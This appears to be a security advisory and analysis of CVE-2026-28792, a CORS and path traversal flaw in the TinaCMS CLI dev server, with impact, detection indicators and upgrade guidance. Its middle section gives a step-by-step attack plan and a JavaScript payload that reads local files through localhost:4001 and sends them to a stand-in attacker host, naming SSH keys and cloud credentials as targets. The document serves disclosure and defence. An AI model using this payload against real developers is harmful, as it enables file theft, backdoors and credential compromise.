CVE-2026-28792: 
JavaScript vulnerability analysis and mitigation

CVE-2026-28792 is a critical vulnerability in the TinaCMS CLI dev server that combines a permissive CORS misconfiguration (Access-Control-Allow-Origin: *) with a path traversal flaw (CWE-22/CWE-942) to enable browser-based drive-by attacks against developers. It affects the @tinacms/cli npm package in all versions prior to 2.1.8. The vulnerability was published on March 12, 2026, and a patch was released the same day. It carries a CVSS v3.1 base score of 9.6 (Critical) (GitHub Advisory, TinaCMS Advisory).

The root cause is a dual weakness: the TinaCMS dev server unconditionally applies cors() middleware in both server.ts and vite/plugins.ts, setting Access-Control-Allow-Origin: * for all origins, and separately fails to restrict path traversal in its media endpoints (/media/list/, /media/upload/, and DELETE /media/). When combined, any cross-origin JavaScript running in the developer's browser can issue fetch requests to http://localhost:4001 with ../ sequences to escape the media directory and access arbitrary filesystem paths — and the browser will expose the response body to the attacker's script due to the wildcard CORS header. The attack requires no special server configuration; the default tinacms dev setup on port 4001 is fully exploitable. The weaknesses are classified as CWE-22 (Path Traversal) and CWE-942 (Permissive Cross-domain Policy with Untrusted Domains) (TinaCMS Advisory, GitHub Advisory).

Successful exploitation allows an unauthenticated remote attacker to silently enumerate the developer's entire filesystem via directory listings, read sensitive files (e.g., .env, .git/config, SSH private keys, cloud credentials), write arbitrary files to overwrite source code or inject backdoors via /media/upload/, and delete arbitrary files via HTTP DELETE — all without the developer's knowledge. The scope is changed (S:C) because the attack crosses from the browser's security boundary into the developer's local machine. This can lead to full developer workstation compromise, supply chain attacks via backdoored build scripts, and credential theft enabling further lateral movement into cloud or production environments (TinaCMS Advisory).

A proof-of-concept exploit is publicly available in the official security advisory, consisting of a complete HTML/JavaScript payload that performs path traversal reads and exfiltrates data to an attacker-controlled server (TinaCMS Advisory). The exploit requires only that the developer visit a malicious webpage while tinacms dev is running — no authentication, no special network exposure, and no additional configuration is needed. The EPSS score is approximately 0.484% (66th percentile), indicating a moderate near-term exploitation probability. There is no current evidence of in-the-wild exploitation or CISA KEV catalog listing, and no specific threat actor attribution has been reported (GitHub Advisory).

1. Reconnaissance: Identify developers using TinaCMS by monitoring npm download statistics, GitHub repositories, or job postings referencing TinaCMS. Target developers running @tinacms/cli versions prior to 2.1.8.
2. Prepare malicious page: Create an evil.html file hosted on an attacker-controlled server (e.g., via python3 -m http.server 8000) containing JavaScript that targets the TinaCMS dev server on its default port:

<script>
fetch('http://localhost:4001/../../../etc/passwd')
  .then(r => r.text())
  .then(data => {
    const img = new Image();
    img.src = 'http://attacker-server:8080/exfil?data=' + encodeURIComponent(data);
  });
</script>

3. Deliver the payload: Trick the developer into visiting the malicious page via phishing email, malicious advertisement, compromised website, or XSS injection on a forum the developer frequents.
4. Exploit CORS + path traversal: The developer's browser sends a cross-origin fetch to localhost:4001 with ../ path traversal sequences. Because the TinaCMS dev server responds with Access-Control-Allow-Origin: *, the browser allows the JavaScript to read the response body.
5. Enumerate filesystem: Use /media/list/ endpoint with path traversal (e.g., http://localhost:4001/media/list/../../../home/user/) to enumerate directory contents across the entire filesystem.
6. Exfiltrate sensitive files: Fetch specific sensitive files (.env, ~/.ssh/id_rsa, ~/.aws/credentials, .git/config) and send their contents to the attacker's server via image beacon or fetch POST.
7. Write backdoor (optional): POST to /media/upload/ with path traversal to overwrite project source files or inject malicious code into build scripts, enabling persistent access or supply chain compromise.
8. Delete files (optional): Issue HTTP DELETE requests to /media/ with path traversal to destroy files or disrupt the developer's environment (TinaCMS Advisory, GitHub Advisory).

• Network: Outbound HTTP GET requests from the developer's machine to an unknown external server with URL-encoded file content in query parameters (e.g., GET /exfil?data=%23%20/etc/passwd...); unusual image beacon requests (img.src) to external IPs carrying encoded data.
• Network: Inbound cross-origin requests to localhost:4001 from browser tabs not associated with the TinaCMS project, particularly to paths containing ../ sequences or targeting /media/list/, /media/upload/, or DELETE /media/.
• Logs: TinaCMS dev server access logs showing requests to /media/list/ or /media/upload/ with path traversal sequences (e.g., /../../../etc/, /../../../home/) from 127.0.0.1 with a browser Origin header pointing to an external domain.
• File System: Unexpected new or modified files in the project directory or outside it (e.g., new scripts in build directories, modified package.json, altered source files); files with recent modification timestamps inconsistent with developer activity.
• File System: Missing or deleted project files with no corresponding developer action in version control history.
• Process: Browser process making repeated HTTP connections to localhost:4001 while the active tab is not the TinaCMS admin interface (TinaCMS Advisory).

The primary remediation is to upgrade @tinacms/cli to version 2.1.8 or later, which fixes both the permissive CORS configuration and the path traversal vulnerability (GitHub Advisory). As interim workarounds, developers should avoid browsing untrusted websites while tinacms dev is running, and should use a host-based firewall to block external access to port 4001. Network segmentation or browser profile separation (e.g., using a dedicated browser profile for development) can also reduce exposure. Developers should audit their project files and credentials for signs of unauthorized modification or exfiltration if they ran a vulnerable version (TinaCMS Advisory).

The vulnerability received coverage from security news outlets including SecurityOnline.info, which highlighted the critical 9.7 CVSS score and drive-by attack nature of the flaw (SecurityOnline). The Hacker Wire also reported on the issue via Mastodon and its website, describing it as a critical file system control vulnerability via drive-by attack (The Hacker Wire). The advisory credits security researcher alaeddine03 for the discovery and responsible disclosure (TinaCMS Advisory).